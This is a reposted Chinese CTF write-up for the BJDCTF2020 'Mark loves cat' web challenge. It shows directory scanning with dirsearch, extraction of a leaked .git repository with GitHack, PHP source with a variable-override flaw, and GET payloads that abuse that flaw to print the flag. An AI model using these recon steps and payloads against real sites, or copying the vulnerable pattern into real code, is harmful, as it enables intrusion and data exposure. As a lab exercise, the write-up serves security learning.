您的位置:首页 > 汽车 > 时评 > [BJDCTF2020]Mark loves cat

[BJDCTF2020]Mark loves cat

2024/10/18 14:52:34 来源:https://blog.csdn.net/2301_81040377/article/details/140406208  浏览:    关键词:[BJDCTF2020]Mark loves cat

黑盒直接扫

dirsearch -u http://bba9a212-64d3-4a16-88b4-3605fe3ef749.node5.buuoj.cn:81/ -w /home/kali/Desktop/dirsearch/db/dicc.txt

在这里插入图片描述
我们用GitHack拿一下源码
没有的去下载一下,开源代码

cd GitHackpython GitHack.py http://bba9a212-64d3-4a16-88b4-3605fe3ef749.node5.buuoj.cn:81/.git/
<?phpinclude 'flag.php';$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;
}
//如果传入a=1那么就是赋值$a=1
foreach($_GET as $x => $y){$$x = $$y;
}
/*如果传?a=1那么就是$a=$1;
利用这里来带出flag*/
foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){  不强等于字符串直接写就可以不带引号的exit($handsome);}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);
}echo "the flag is: ".$flag;

看到exit那么我们想到变量覆盖
在这里插入图片描述
我们先随便写试试
在这里插入图片描述

?handsome=flag&flag='x'&x='flag'

由于动态赋值所以语法错误了,没成功

?handsome=flag&flag=a&a='flag'
还是有语法错误,但是出flag了
?handsome=flag&flag=a&a=flag
成功

还有其他的payload我一起写出来思路一样的

?is=flag&flag=flag?yds=flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com